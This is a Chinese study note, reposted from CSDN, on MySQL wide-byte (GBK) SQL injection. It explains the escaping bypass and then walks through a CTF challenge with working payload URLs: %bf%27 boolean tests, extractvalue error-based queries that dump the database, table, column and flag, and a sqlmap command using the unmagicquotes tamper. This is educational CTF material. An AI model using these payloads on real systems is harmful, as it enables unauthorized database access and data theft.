Mysql寬字節註入 ---學習筆記
轉自:https://blog.csdn.net/niexinming/article/details/49109683
先補充一點背景:
大 家都知道PHP在開啟magic_quotes_gpc或者使用addslashes、iconv等函數的時候,單引號(‘)會被轉義成\‘。比如字 符%bf在滿足上述條件的情況下會變成%bf\‘。其中反斜杠(\)的十六進制編碼是%5C,單引號(‘)的十六進制編碼是%27,那麽就可以得出%bf \‘=%bf%5c%27。如果程序的默認字符集是GBK等寬字節字符集,則MySQL會認為%bf%5c是一個寬字符,也就是“縗”。也就是說%bf \‘=%bf%5c%27=縗‘。
說 到這裏好像還沒有看出來到底有什麽用。了解PHP+MySQL註入的朋友應該都明白,單引號在註入裏絕對是個好東西。尤其是,很多程序員都過分依賴於 magic_quotes_gpc或者addslashes、iconv等函數的轉義。理論上說,只要數據庫連接代碼設置了GBK編碼,或者是默認編碼就 是GBK,那現在的程序裏到處都是註入漏洞
以上來源為:http://www.myhack58.com/Article/html/3/7/2012/33743.htm
講的不錯,我就復制黏貼了
例子:
http://sql.sycsec.com/f8077f08525d33bd7f0b1fd98b53dc59/?uid=1
【1】首先我們先要測試一下經典的%df%27:
http://sql.sycsec.com/f8077f08525d33bd7f0b1fd98b53dc59/?uid=1%df%27 and 1=1 %23
結果頁面顯示:
Forbidden
看來是被過濾了
沒關系,我們依然可以嘗試這樣註入:
http://sql.sycsec.com/f8077f08525d33bd7f0b1fd98b53dc59/?uid=1%bf%27 and 1=1%23
頁面是:look me,look me,look me.
http://sql.sycsec.com/f8077f08525d33bd7f0b1fd98b53dc59/?uid=1%bf%27 and 1=2%23
頁面為空
看來是註入成功了
類似成功的還有:
(1)http://sql.sycsec.com/f8077f08525d33bd7f0b1fd98b53dc59/?uid=1%e5%27 and 1=2%23
(2)http://sql.sycsec.com/f8077f08525d33bd7f0b1fd98b53dc59/?uid=1%c2%27 and 1=1%23
(3)http://sql.sycsec.com/f8077f08525d33bd7f0b1fd98b53dc59/?uid=1%bf%27 and 1=1%23
【2】我發現這是一個報錯註入,於是我們開始愉快的開啟報錯註入模式:
爆數據庫:
sql.sycsec.com/f8077f08525d33bd7f0b1fd98b53dc59/?uid=1%bf%27 and extractvalue(1, concat(0x5c,(select database()))) %23
頁面顯示:
XPATH syntax error: ‘\sql2‘
【3】爆表
sql.sycsec.com/f8077f08525d33bd7f0b1fd98b53dc59/?uid=1%bf%27 and extractvalue(1, concat(0x5c,(select table_name from information_schema.tables where table_schema=0x73716c32 limit 0,1))) %23
頁面顯示:
XPATH syntax error: ‘\[key_flag]‘
【4】爆字段:
sql.sycsec.com/f8077f08525d33bd7f0b1fd98b53dc59/?uid=1%bf%27 and extractvalue(1, concat(0x5c,(select COLUMN_NAME from Information_schema.columns where table_Name = 0x5b6b65795f666c61675d and TABLE_SCHEMA= 0x73716c32 limit 1,1))) %23
頁面顯示:
XPATH syntax error: ‘\key_flag‘
【5】爆內容:
如果大家這樣:
sql.sycsec.com/f8077f08525d33bd7f0b1fd98b53dc59/?uid=1%bf%27 and extractvalue(1, concat(0x5c,(select key_flag from [key_flag]))) %23
註入爆內容的話就會出錯:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘[key_flag]))) #‘‘ at line 1
這裏有點小坑,就是在mysql做查詢的時候表名不能帶有中括號,否則就會報錯,後來花了一個小時做實驗谷歌查詢得知,如果表裏面必須有中括號的時候必須要用’,“,` 包起來,但是’和”會被php的magic_quotes_gpc的這個函數轉義掉所以就要用`包起來,這個符號在鍵盤的Esc下面,url的編碼為%60
至此我們這樣爆就可以出內容了
sql.sycsec.com/f8077f08525d33bd7f0b1fd98b53dc59/?uid=1%bf%27 and extractvalue(1, concat(0x5c,(select key_flag from `[key_flag]`))) %23
頁面顯示:
XPATH syntax error: ‘\SYC{L0ve_Sql_Inj3ct10n_akak}‘
sqlmap的指令是:sqlmap -u "http://202.120.7.140:8888/try.php?fruit=1" --tamper unmagicquotes -D "store" -T "tell_me_who_u_are" --dump
---------------------
作者:niexinming
來源:CSDN
原文:https://blog.csdn.net/niexinming/article/details/49109683
版權聲明:本文為博主原創文章,轉載請附上博文鏈接!
Mysql寬字節註入 ---學習筆記